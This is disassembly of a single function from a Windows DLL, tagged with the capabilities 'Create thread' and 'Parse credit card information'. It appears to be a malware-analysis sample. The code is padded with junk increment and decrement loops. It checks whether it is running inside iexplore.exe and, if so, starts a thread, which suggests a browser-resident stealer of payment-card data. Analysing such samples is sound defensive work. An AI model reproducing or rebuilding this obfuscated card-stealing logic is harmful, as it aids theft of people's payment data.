Function at 0x10004760
Capabilities:
Create thread
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100010f0
push 0x10005470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x10004b85
dec eax
jne 0x10004b66
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x3e
jle 0x100047c2
cmp eax, 0xde
jge 0x100047c2
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
mov esi, 0xc
mov dword [ebp - 0x1c], esi
cmp esi, 0xc8
jge 0x100047f8
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x52
jle 0x100047f3
cmp esi, 0xef
jge 0x100047f3
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
add esi, 0xb
jmp 0x100047cb
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x26
jle 0x10004815
cmp esi, 0xf9
jge 0x10004815
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x10
jl 0x10004826
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xed
jle 0x1000483a
inc esi
mov dword [ebp - 0x1c], esi
mov esi, 0x14
mov dword [ebp - 0x1c], esi
push 0xff
lea eax, [ebp - 0x120]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
dec esi
mov dword [ebp - 0x1c], esi
mov esi, 0x41
mov dword [ebp - 0x1c], esi
cmp esi, 0x91
jge 0x10004884
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x53
jle 0x1000487f
cmp esi, 0xf1
jge 0x1000487f
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
add esi, 0x30
jmp 0x10004857
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x3d
jle 0x100048a1
cmp esi, 0xdb
jge 0x100048a1
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_CharLowerA]
dec esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xc0
jge 0x100048c6
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x5f
jge 0x100048db
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
push 0x5c
lea edx, [ebp - 0x120]
push edx
call fcn.10003460
add esp, 8
inc eax
mov dword [ebp - 0x20], eax
dec esi
mov dword [ebp - 0x1c], esi
mov ecx, 0x5c
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x8d
jge 0x10004926
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 2
jle 0x10004921
cmp ecx, 0xd9
jge 0x10004921
inc ecx
mov dword [ebp - 0x1c], ecx
dec ecx
mov dword [ebp - 0x1c], ecx
inc ecx
mov dword [ebp - 0x1c], ecx
add ecx, 0x18
jmp 0x100048f9
dec ecx
mov dword [ebp - 0x1c], ecx
mov esi, 0x45
mov dword [ebp - 0x1c], esi
cmp esi, 0xb2
jge 0x1000495c
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x5e
jle 0x10004957
cmp esi, 0xd7
jge 0x10004957
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
add esi, 0xd
jmp 0x1000492f
push str.iexplore.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10004a25
dec esi
mov dword [ebp - 0x1c], esi
mov esi, 9
mov dword [ebp - 0x1c], esi
cmp esi, 0xa8
jge 0x100049a6
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x44
jle 0x100049a1
cmp esi, 0xdc
jge 0x100049a1
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
add esi, 0x1a
jmp 0x10004979
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x24
jle 0x100049c3
cmp esi, 0xf5
jge 0x100049c3
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
call fcn.10004c00
mov dword [ebp - 0x124], eax
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xc
jl 0x100049df
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xe4
jle 0x100049f3
inc esi
mov dword [ebp - 0x1c], esi
mov esi, 0x18
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xd2
jge 0x10004a0b
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
dec esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x2d
jge 0x10004a3a
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
mov esi, 0x43
mov dword [ebp - 0x1c], esi
cmp esi, 0x66
jge 0x10004a6d
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x43
jle 0x10004a68
cmp esi, 0xd8
jge 0x10004a68
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
add esi, 0x14
jmp 0x10004a43
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 6
jl 0x10004a7e
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xf1
jle 0x10004a92
inc esi
mov dword [ebp - 0x1c], esi
mov esi, 0x1d
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 9
jl 0x10004aa3
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xb3
jle 0x10004ab7
inc esi
mov dword [ebp - 0x1c], esi
mov esi, 0x17
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x128]
push eax
push 0
push 0
push 0x10004e90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xc3
jge 0x10004ae9
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0xd
jle 0x10004b06
cmp esi, 0xe4
jge 0x10004b06
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
dec esi
mov dword [ebp - 0x1c], esi
mov eax, 0xf
mov dword [ebp - 0x1c], eax
cmp eax, 0x7d
jge 0x10004b38
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x3f
jle 0x10004b33
cmp eax, 0xcd
jge 0x10004b33
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
inc eax
mov dword [ebp - 0x1c], eax
add eax, 0x2b
jmp 0x10004b0f
dec eax
mov dword [ebp - 0x1c], eax
cmp eax, 0xd5
jge 0x10004b4f
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
cmp eax, 0xbe
jge 0x10004b66
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
dec dword [ebp - 0x1c]
mov eax, 0x2d
mov dword [ebp - 0x1c], eax
cmp eax, 0xc7
jge 0x10004b66
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x4b
jle 0x10004bb3
cmp eax, 0xf3
jge 0x10004bb3
inc eax
mov dword [ebp - 0x1c], eax
dec eax
mov dword [ebp - 0x1c], eax
inc eax
mov dword [ebp - 0x1c], eax
add eax, 0x26
jmp 0x10004b8d